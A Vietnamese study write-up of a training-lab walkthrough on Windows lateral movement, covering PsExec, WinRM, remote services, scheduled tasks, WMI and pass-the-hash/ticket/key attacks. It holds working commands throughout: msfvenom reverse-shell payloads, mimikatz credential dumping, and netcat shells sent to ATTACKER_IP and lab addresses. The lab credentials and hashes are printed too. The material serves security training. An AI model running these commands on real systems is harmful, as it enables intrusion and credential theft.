Moving Through the Network
What is Lateral Movement?
Nói một cách đơn giản, lateral movement là tập các kỹ thuật mà attacker dùng để di chuyển giữa các máy khác nhau ở trong một network.
Sau khi chiếm quyền truy cập đến một máy, việc di chuyển sang các máy khác có trong network là cần thiết vì nhiều lý do:
- Bypass network restriction
- Ngăn chặn việc bị phát hiện và gây rối
- Thiết lập thêm các entry point cho network
A Quick Example
Giả sử chúng ta đang thực hiện một bài kiểm tra an ninh (red team engagement) với mục tiêu cuối cùng là truy cập vào code repository. Bước đầu tiên, chúng ta đã xâm nhập vào mạng mục tiêu thông qua một chiến dịch phishing. Phishing thường hiệu quả hơn với những người không có nền tảng kỹ thuật nên chúng ta đã truy cập được vào một máy trong bộ phận Marketing.
Các máy của Marketing thường bị hạn chế bởi các chính sách firewall. Cụ thể, các chính sách này ngăn truy cập vào các dịch vụ quan trọng chẳng hạn như:
- Các giao thức quản trị (RDP, SSH, etc)
- Database
- Các dịch vụ giám sát
- Các dịch vụ không cần thiết cho công việc hàng ngày, bao gồm cả code repository
Để tiếp cận các máy chủ và dịch vụ nhạy cảm, chúng ta cần di chuyển sang các máy khác và dùng các máy này làm điểm trung gian (pivot) để đạt được mục tiêu cuối cùng. Ta có thể thử leo quyền trên máy của bộ phận Marketing và trích xuất các password hash của người dùng cục bộ. Nếu tìm thấy tài khoản của local admin, có khả năng tài khoản này cũng có mặt trên các máy khác. Sau khi thu thập thông tin, chúng ta phát hiện một máy có tên DEV-001-PC. Sử dụng password hash của local admin, ta truy cập vào DEV-001-PC và xác nhận rằng nó thuộc về một lập trình viên trong công ty. Từ đây, chúng ta có thể truy cập vào code repository mục tiêu.
Note
Lateral movement không chỉ giúp bypass firewall restriction mà còn dùng để ngăn chặn việc bị phát hiện. Trong ví dụ trên, cho dù máy của bộ phận Marketing có quyền truy cập đến code respository thì chúng ta cũng nên truy cập thông qua máy của developer vì đây là một hành vi bình thường.
The Attacker’s Perspective
Có nhiều cách để di chuyển giữa các máy. Cách đơn giản nhất là sử dụng các giao thức quản trị chẳng hạn như WinRM, RDP, VNC hoặc SSH để kết nối đến các máy khác ở trong network.
Administrators and UAC
Mọi tài khoản admin đều có mục đích như nhau nhưng có hai loại admin:
- Local administrator
- Domain administrator
Sự khác biệt nằm ở User Account Control (UAC) đối với local admin (ngoại trừ tài khoản Administrator mặc định). Nếu không thiết lập gì thêm, các tài khoản local admin sẽ không thể kết nối đến máy khác và thực hiện các tác vụ quản trị trừ khi sử dụng RDP. Cụ thể hơn, Windows sẽ từ chối tất cả các tác vụ thông qua RPC, SMB hoặc WinRM bởi vì các tài khoản local admin sẽ được đăng nhập với một token bị giới hạn và không thể thực hiện các tác vụ cần có đặc quyền.
Tài khoản local duy nhất mà có đầy đủ đặc quyền là tài khoản Administrator mặc định. Trong quá trình di chuyển giữa các máy mà bị thất bại thì có thể là do chúng ta sử dụng một tài khoản local admin không phải mặc định và bị hạn chế bởi UAC.
Ngược lại với các tài khoản local admin, các tài khoản domain admin sẽ có đầy đủ các đặc quyền.
Seealso
User Account Control and remote restrictions - Windows Server | Microsoft Learn
Spawning Processes Remotely
PsExec
Info
Ports: 445/TCP (SMB) Yêu cầu về quyền: Administrator
Là chương trình cho phép quản trị viên chạy lệnh ở trên một remote host. PsExec
thuộc Sysinternals Tools.
PsExec hoạt động như sau:
- Kết nối tới
Admin$
share và một upload tập tin thực thi của service có tên làpsexesvc.exe
. - Kết nối đến service control manager để tạo và chạy một service có tên là PSEXESVC. Đồng thời, liên kết tập tin được upload ở
C:\Windows\psexesvc.exe
với service PSEXESVC. - Tạo ra một số pipe để xử lý stdin/stdout/stderr.
Câu lệnh sử dụng PsExec để truy cập vào cmd.exe
ở máy mục tiêu:
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
WinRM
Info
Ports: 5985/TCP (WinRM HTTP) hoặc 5986/TCP (WinRM HTTPS) Yêu cầu về quyền: Remote Management Users
Windows Remote Management (WinRM) là một giao thức dạng web cho phép gửi các câu lệnh PowerShell đến các máy Windows từ xa. Theo mặc định, đa số các máy sử dụng Windows Server sẽ cho phép WinRM.
Để tạo ra một PowerShell session ở trên một remote host bằng CMD:
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
Chúng ta cũng có thể sử dụng PowerShell nhưng cần phải tạo ra một PSCredential
object:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Sau khi tạo được PSCredential
object, chúng ta có thể tạo ra PowerShell session sử dụng Enter-PSSession
cmdlet:
Enter-PSSession -Computername TARGET -Credential $credential
PowerShell cũng hỗ trợ Invoke-Command
cmdlet giúp thực thi một khối lệnh thông qua WinRM cùng với một PSCredential
object:
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
sc
Info
Ports:
- 135/TCP, 49152-65535/TCP (DCE/RPC)
- 445/TCP (RPC over SMB Named Pipes)
- 139/TCP (RPC over SMB Named Pipes)
Yêu cầu về quyền: Administrators
Các service của Windows có thể bị lạm dụng để chạy bất kỳ câu lệnh nào bởi vì chúng sẽ thực thi lệnh khi được khởi chạy.
Note
File thực thi của các service khác với của các ứng dụng thông thường. Do đó, nếu chúng ta cấu hình một service chạy ứng dụng thì nó vẫn thực thi nhưng sau đó sẽ gặp lỗi.
Chúng ta sẽ sử dụng chương trình sc.exe
để tạo ra service ở trên một remote host. Khi sử dụng sc
, nó sẽ kết nối đến Service Control Manager (SVCCTL) ở trên một remote host theo một vài cách khác nhau:
-
Sử dụng DCE/RPC: client sẽ kết nối đến Endpoint Mapper (EPM) ở port 135, vốn cung cấp các RPC endpoints khả dụng của SVCCTL. Sau đó, EPM sẽ trả về IP và port nằm trong khoảng 49152-65535 của SVCCTL. Cuối cùng, client sẽ thực hiện RPC bind với SVCCTL.
-
Nếu RPC bind với SVCCTL thất bại,
sc
sẽ kết nối tới SVCCTL thông qua các SMB pipe hoặc ở trên port 445 (SMB) hoặc port 139 (SMB trên NetBIOS).
Chúng ta có thể tạo và khởi chạy một service ở trên một remote host có tên là THMservice giúp thêm một local user thông qua các câu lệnh sau:
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
Dừng và xóa service:
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
Scheduled Tasks
Chúng ta cũng có thể lạm dụng các scheduled task thông qua chương trình schtasks
.
Để tạo ra một scheduled task có tên là THMtask1
, có thể sử dụng các câu lệnh sau:
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "THMtask1"
Với option /sc ONCE
khiến cho scheduled task chỉ được thực thi một lần duy nhất. Do chúng ta sẽ thực thi scheduled task này một cách thủ công nên ngày bắt đầu (/sd
) và thời gian bắt đầu (/st
) không quan trọng.
Để xóa scheduled task:
schtasks /S TARGET /TN "THMtask1" /DELETE /F
Lab
Như đã đề cập, các file thực thi của service khác với các file .exe
và các file thực thi không phải service sẽ bị kill bởi service manager gần như là ngay lập tức. May mắn thay, msfvenom
hỗ trợ định dạng exe-service, giúp đóng gói bất kỳ payoad nào vào một file thực thi của service để tránh bị kill.
root@ip-10-10-138-35:~# msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=lateralmovement LPORT=4444 -o evil-service.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe-service file: 15872 bytes
Saved as: evil-service.exe
Sau khi tạo ra reverse shell thì chúng ta upload lên ADMIN$ share thông qua SMB:
root@ip-10-10-138-35:~# smbclient -c 'put evil-service.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
WARNING: The "syslog" option is deprecated
putting file evil-service.exe as \evil-service.exe (553.6 kb/s) (average 553.6 kb/s)
Login vào host thmjmp2
thông qua SSH sử dụng tài khoản ZA.TRYHACKME.COM\t1_leonard.summers
của một Tier 1 admin với password là EZpass4ever
:
root@ip-10-10-180-121:~# ssh ZA.TRYHACKME.COM\\t1_leonard.summers@thmjmp2.za.tryhackme.com
ZA.TRYHACKME.COM\t1_leonard.su@thmjmp2.za.tryhackme.com's password:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
za\t1_leonard.summers@THMJMP2 C:\Users\t1_leonard.summers>
Note
Lý do mà ta sử dụng tài khoản của admin là vì bài lab này sử dụng
sc.exe
để tạo reverse shell và chương trình này yêu cầu quyền admin.
Sau khi login thì shell đã có token của admin. Khi đó, chúng ta thực hiện tạo và khởi chạy service có file thực thi là reverse shell vừa upload:
za\t1_leonard.summers@THMJMP2 C:\Users\t1_leonard.summers>sc.exe \\thmiis.za.tryhackme.com create THMservice-8888 binPath= "%windir%\evil-service.exe" start= auto
[SC] CreateService SUCCESS
za\t1_leonard.summers@THMJMP2 C:\Users\t1_leonard.summers>sc.exe \\thmiis.za.tryhackme.com start THMservice-8888
SERVICE_NAME: THMservice-8888
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 780
FLAGS :
Với %windir%
chính là ADMIN$
share.
Ở phía host của attacker, chạy một meterpreter và nhận được reverse shell như sau:
root@ip-10-10-180-121:~# msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/shell/reverse_tcp
LHOST => lateralmovement
LPORT => 4444
[*] Started reverse TCP handler on 10.50.65.105:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.200.71.201
[*] Command shell session 1 opened (10.50.65.105:4444 -> 10.200.71.201:59888) at 2024-09-29 15:47:13 +0100
Shell Banner:
Microsoft Windows [Version 10.0.17763.1098]
-----
C:\Windows\system32>
Cuối cùng, thực hiện một số enumeration và lấy flag:
C:\Windows\system32>cd C:\Users\t1_leonard.summers
cd C:\Users\t1_leonard.summers
C:\Users\t1_leonard.summers>hostname
hostname
THMIIS
C:\Users\t1_leonard.summers>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet 4:
Connection-specific DNS Suffix . : eu-west-1.compute.internal
IPv4 Address. . . . . . . . . . . : 10.200.71.201
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.200.71.1
C:\Users\t1_leonard.summers>dir
dir
Volume in drive C is Windows
Volume Serial Number is 1634-22A9
Directory of C:\Users\t1_leonard.summers
2022/04/27 17:27 <DIR> .
2022/04/27 17:27 <DIR> ..
2022/06/17 18:41 <DIR> Desktop
2022/04/19 18:57 <DIR> Documents
2018/09/15 08:19 <DIR> Downloads
2018/09/15 08:19 <DIR> Favorites
2018/09/15 08:19 <DIR> Links
2018/09/15 08:19 <DIR> Music
2018/09/15 08:19 <DIR> Pictures
2018/09/15 08:19 <DIR> Saved Games
2018/09/15 08:19 <DIR> Videos
0 File(s) 0 bytes
11 Dir(s) 46\ufffd556\ufffd856\ufffd320 bytes free
C:\Users\t1_leonard.summers>cd Desktop
cd Desktop
C:\Users\t1_leonard.summers\Desktop>Flag.exe
Flag.exe
THM{MOVING_WITH_SERVICES}
Success
THM{MOVING_WITH_SERVICES}
Moving Laterally Using WMI
Windows Management Instrumentation (WMI) là một implementation của Web-Based Enterprise Management (WBEM), một tiêu chuẩn dùng cho việc truy cập các thông tin quản trị giữa các thiết bị. Đơn giản hơn, WMI cho phép quản trị viên thực hiện các tác vụ quản lý mà attacker có thể lạm dụng để di chuyển giữa các máy khác nhau.
Trước khi kết nối đến WMI sử dụng các câu lệnh PowerShell, ta cần tạo ra một PSCredential
object:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Chúng ta sẽ thiết lập một WMI session từ PowerShell thông qua các giao thức sau:
- DCOM: RPC trên IP sử dụng port 135/TCP và port 49152-65535/TCP (giống
sc.exe
). - Wsman: sử dụng WinRM để kết nối đến WMI sử dụng port 5985/TCP (WinRM HTTP) hoặc port 5986/TCP (WinRM HTTPS).
Câu lệnh thiết lập WMI session:
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
Cmdlet New-CimSessionOption
được dùng để cấu hình các tùy chọn kết nối cho một WMI session, bao gồm cả giao thức kết nối. Các option và các credential sau đó sẽ được truyền vào cmdlet New-CimSession
để thiết lập session.
Note
Tất cả các cách di chuyển giữa các máy sử dụng WMI đều yêu cầu quyền admin.
Remote Process Creation Using WMI
Tạo một process ở trên một remote host thông qua WMI như sau:
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
Với $Session
là session mà ta đã tạo từ trước.
Trên các hệ thống cũ, câu lệnh tương đương sử dụng CMD là:
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe"
Creating Services Remotely with WMI
Tạo service ở trên host từ xa thông qua WMI:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
Lấy một handle đến service và khởi chạy nó:
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
Dừng và xóa service như sau:
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
Creating Scheduled Tasks Remotely with WMI
Tạo ra scheduled task thông qua WMI:
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
Để xóa scheduled task:
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
Installing MSI Packages Through WMI
MSI là một định dạng file dành cho các installer (chương trình dùng để cài đặt phần mềm). Nếu chúng ta có thể sao chép một MSI package đến host mục tiêu thì có thể sử dụng WMI để cài đặt nó.
Câu lệnh:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
Trên các hệ thống cũ sử dụng CMD:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
Lab
Tạo ra reverse shell có dạng MSI:
root@ip-10-10-126-209:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > evil-installer.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Sử dụng SMB để upload lên máy mục tiêu với tài khoản ZA.TRYHACKME.COM\t1_corine.waters
của một Tier 1 admin có password là Korine.1994
.
root@ip-10-10-126-209:~# smbclient -c 'put evil-installer.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994
WARNING: The "syslog" option is deprecated
putting file evil-installer.msi as \evil-installer.msi (1431.2 kb/s) (average 1431.2 kb/s)
Tiếp theo, sử dụng một PowerShell console để chạy các câu lệnh sau nhằm tạo ra các tham số cần thiết dùng cho một WMI session:
PS C:\> $username='t1_corine.waters';
PS C:\> $password ='Korine.1994';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol DCOM
Tiến hành cài đặt package vừa upload ở trên remote host thông qua WMI với các tham số trên:
PS C:\Users\t1_corine.waters> Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\evil-installer.msi"; Options = ""; AllUsers = $false}
ReturnValue PSComputerName
----------- --------------
1603 thmiis.za.tryhackme.com
Chạy một meterpreter để hứng reverse shell:
root@ip-10-10-126-209:~# msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST lateralmovement; set LPORT 4445;exploit"
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
LHOST => lateralmovement
LPORT => 4445
[*] Started reverse TCP handler on 10.50.77.50:4445
[*] Command shell session 1 opened (10.50.77.50:4445 -> 10.200.78.201:52805) at 2024-10-03 15:46:45 +0100
Shell Banner:
Microsoft Windows [Version 10.0.17763.1098]
-----
C:\Windows\system32>
Truy cập đến Desktop của t1_corine.waters
để lấy flag:
C:\Windows\system32>cd C:\Users\t1_corine.waters\Desktop
cd C:\Users\t1_corine.waters\Desktop
C:\Users\t1_corine.waters\Desktop>Flag.exe
Flag.exe
THM{MOVING_WITH_WMI_4_FUN}
Success
THM{MOVING_WITH_WMI_4_FUN}
Use of Alternate Authentication Material
Alternate authentication material là các dữ liệu có thể dùng để truy cập vào một máy Windows mà không cần biết password. Điều này là khả thi do cách mà một số protocol hoạt động mà cụ thể là hai giao thức xác thực sau:
- NTLM
- Kerberos
NTLM
Nhìn lại một chút về cách mà NLTM hoạt động:
Note
Lưu ý rằng quy trình trên chỉ áp dụng nếu ta sử dụng domain account. Trong trường hợp sử dụng local account của server, nó sẽ tự verify response mà không cần tương tác với domain controller bởi vì nó lưu giữ password hash ở trong SAM.
Pass-the-Hash (PtH)
Nếu có các NTLM hash chưa được crack, chúng ta vẫn có thể dùng để xác thực trong trường hợp domain sử dụng giao thức xác thực NTLM và cách tấn công này gọi là Pass-the-Hash.
Chúng ta có thể dùng công cụ mimikatz để trích xuất các NTLM hash từ local SAM hoặc trích xuất trực tiếp từ bộ nhớ LSASS.
Trích xuất từ local SAM:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50
Note
Lưu ý là chúng ta chỉ có thể trích xuất password hash của các local account từ SAM.
Trích xuất password hash của local account cũng như là các domain account đã đăng nhập gần đây từ bộ nhớ LSASS:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484
Chúng ta có thể sử dụng password hash trích xuất được để tấn công Pass-the-Hash thông qua mimikatz như sau:
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
Với NTLM hash truyền vào, mimikatz sẽ chèn một access token của một nạn nhân vào reverse shell (hoặc bất cứ câu lệnh nào mà ta muốn thực thi).
Note
Chú ý rằng câu lệnh
token::revert
giúp ta khôi phục lại token không có đặc quyền ban đầu bởi vì Pass-the-Hash không hoạt động với các token có đặc quyền.
Cách làm trên tương tự với việc sử dụng runas /netonly
nhưng sử dụng password hash thay vì sử dụng password và tạo ra một reverse shell mà ta có thể dùng để chạy bất kỳ câu lệnh nào dưới danh nghĩa của nạn nhân.
Info
Nếu chúng ta chạy câu lệnh
whoami
ở trên reverse shell, nó vẫn sẽ hiển thị thông tin của user trước khi thực hiện Pass-the-Hash. Tuy nhiên, bất cứ câu lệnh nào khác đều cũng sẽ sử dụng access token mà ta đã chèn vào.
Đối với Linux, chúng ta có một vài cách để thực hiện Pass-the-Hash như sau:
-
Kết nối đến RDP sử dụng Pass-the-Hash:
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
-
Sử dụng
psexec.py
củaimpacket
:psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
-
Kết nối đến WinRM sử dụng Pass-the-Hash:
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
Kerberos
Nhìn lại cách hoạt động của Kerberos:
-
Trước tiên là yêu cầu TGT (Ticket Granting Ticket) dùng để yêu cầu các TGS (Ticket Granting Service) từ KDC (Key Distribution Center) service, một service được cài đặt ở trên domain controller dùng để tạo các Kerberos ticket.
-
Sau đó, yêu cầu TGS từ KDC service:
-
Cuối cùng, sử dụng TGS đã được cấp để xác thực với service:
Pass-the-Ticket (PtT)
Đôi khi chúng ta có thể trích xuất các Kerberos ticket và các session key từ bộ nhớ LSASS sử dụng mimikatz với quyền SYSTEM:
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
Note
Chú ý rằng ta cần trích xuất được cả ticket và session key của nó để có thể sử dụng.
Việc truy xuất các TGT yêu cầu quyền admin còn với các TGS thì có thể sử dụng các tài khoản có quyền thấp hơn.
Sau khi trích xuất được ticket, chúng ta có thể chèn vào session hiện tại bằng mimikatz như sau:
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
Việc chèn ticket không yêu cầu đặc quyền của admin. Kiểm tra xem ticket đã được chèn thành công hay chưa bằng cách sử dụng câu lệnh klist
:
za\bob.jenkins@THMJMP2 C:\> klist
Current LogonId is 0:0x1e43562
Cached Tickets: (1)
#0> Client: Administrator @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 4/12/2022 0:28:35 (local)
End Time: 4/12/2022 10:28:35 (local)
Renew Time: 4/23/2022 0:28:35 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com
Overpass-the-Hash/Pass-the-Key
Khi user yêu cầu TGT, họ sẽ gửi một timestamp được mã hóa với khóa được dẫn xuất từ password. Thuật toán mã hóa (đối xứng) có thể là DES (mặc định bị disabled ở trên các phiên bản Windows hiện tại), RC4, AES128 hoặc AES256 (tùy thuộc vào phiên bản Windows được cài đặt cũng như là cấu hình của Kerberos).
Nếu chúng ta có bất kỳ khóa mã hóa nào, chúng ta có thể yêu cầu KDC tạo một TGT mà không cần password. Cách tấn công này gọi là Pass-the-Key.
Trích xuất khóa mã hóa từ bộ nhớ sử dụng mimikatz:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
Tùy thuộc vào loại thuật toán mã hóa, chúng ta có thể chạy các câu lệnh sau của mimikatz để tạo ra reverse shell:
RC4 hash:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
AES128 hash:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
AES256 hash:
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
Overpass-the-Hash (OPtH)
Chú ý rằng khi sử dụng RC4, khóa mã hóa sẽ tương đương với NTLM hash của người dùng. Điều này đồng nghĩa với việc nếu chúng ta có thể trích xuất NTLM hash, chúng ta có thể yêu cầu một TGT trong trường hợp thuật toán RC4 được enabled. Cách tấn công này gọi là Overpass-the-Hash (OPtH).
Lab
Chúng ta sẽ truy cập vào host thmjmp2
thông qua SSH sử dụng tài khoản sau của một Tier 2 admin:
- Username:
ZA.TRYHACKME.COM\t2_felicia.dean
. - Password:
iLov3THM!
Tài khoản này có quyền admin ở trên thmjmp2
và ta cần quyền này để trích xuất SAM.
Leo quyền lên tài khoản SYSTEM sử dụng mimikatz:
za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
504 {0;000003e7} 1 D 16835 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary -> Impersonated!
* Process Token : {0;003802d0} 0 D 3693410 ZA\t2_felicia.dean S-1-5-21-3330634377-1326264276-632209373-4605 (12g,24p) Primary
* Thread Token : {0;000003e7} 1 D 3748790 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
Pass-the-Hash
Trích xuất SAM:
mimikatz # lsadump::sam
Domain : THMJMP2
SysKey : 2e27b23479e1fb1161a839f9800119eb
Local SID : S-1-5-21-1946626518-647761240-1897539217
SAMKey : 9a74a253f756d6b012b7ee3d0436f77a
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 0b2571be7e75e3dbd169ca5352a2dad7
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
Trích xuất LSASS:
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 382383 (00000000:0005d5af)
Session : NetworkCleartext from 0
User Name : t2_felicia.dean
Domain : ZA
Logon Server : THMDC
Logon Time : 10/3/2024 3:32:40 PM
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : t2_felicia.dean
* Domain : ZA
* NTLM : 7806fea66c81806b5dc068484b4567f6
* SHA1 : b5c06a36f629a624e4adce09bd59e5f99c90a9a7
* DPAPI : e375158311db4a6357c3e3921cd42e7e
...
Authentication Id : 0 ; 298622 (00000000:00048e7e)
Session : RemoteInteractive from 2
User Name : t1_toby.beck5
Domain : ZA
Logon Server : THMDC
Logon Time : 10/3/2024 3:32:25 PM
SID : S-1-5-21-3330634377-1326264276-632209373-4620
msv :
[00000003] Primary
* Username : t1_toby.beck5
* Domain : ZA
* NTLM : 533f1bd576caa912bdb9da284bbc60fe
* SHA1 : 8a65216442debb62a3258eea4fbcbadea40ccc38
* DPAPI : 0537b9105954f5d1d1bc2f1763d86fd6
...
Revert token:
mimikatz # token::revert
* Process Token : {0;0005d5af} 0 D 386910 ZA\t2_felicia.dean S-1-5-21-3330634377-1326264276-632209373-4605 (12g,24p) Primary
* Thread Token : no token
Sử dụng NTLM hash của t1_toby.beck
để chèn access token vào một reverse shell:
mimikatz # sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.77.50 4445"
user : t1_toby.beck
domain : za.tryhackme.com
program : c:\tools\nc64.exe -e cmd.exe 10.50.77.50 4445
impers. : no
NTLM : 533f1bd576caa912bdb9da284bbc60fe
| PID 10648
| TID 10652
| LSA Process was already R/W
| LUID 0 ; 1200579 (00000000:001251c3)
\_ msv1_0 - data copy @ 000002991094CEE0 : OK !
\_ kerberos - data copy @ 000002991152D578
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 00000299115181B8 (32) -> null
Hứng reverse shell bằng meterpreter:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.50.77.50:4445
[*] Command shell session 5 opened (10.50.77.50:4445 -> 10.200.78.249:50081) at 2024-10-03 16:44:48 +0100
Shell Banner:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Có thể thấy, câu lệnh whoami
cho ra kết quả là user t2_felicia.dean
mặc dù access token là của t1_toby.beck
như đã đề cập ở Pass-the-Hash (PtH):
C:\Windows\system32>whoami
whoami
za\t2_felicia.dean
Sau khi đã có reverse shell với access token thì ta có thể sử dụng winrs.exe
dưới danh nghĩa của t1_toby.beck
để kết nối đến host thmiis
nhằm lấy flag.
C:\Windows\system32>winrs.exe -r:THMIIS.za.tryhackme.com cmd
winrs.exe -r:THMIIS.za.tryhackme.com cmd
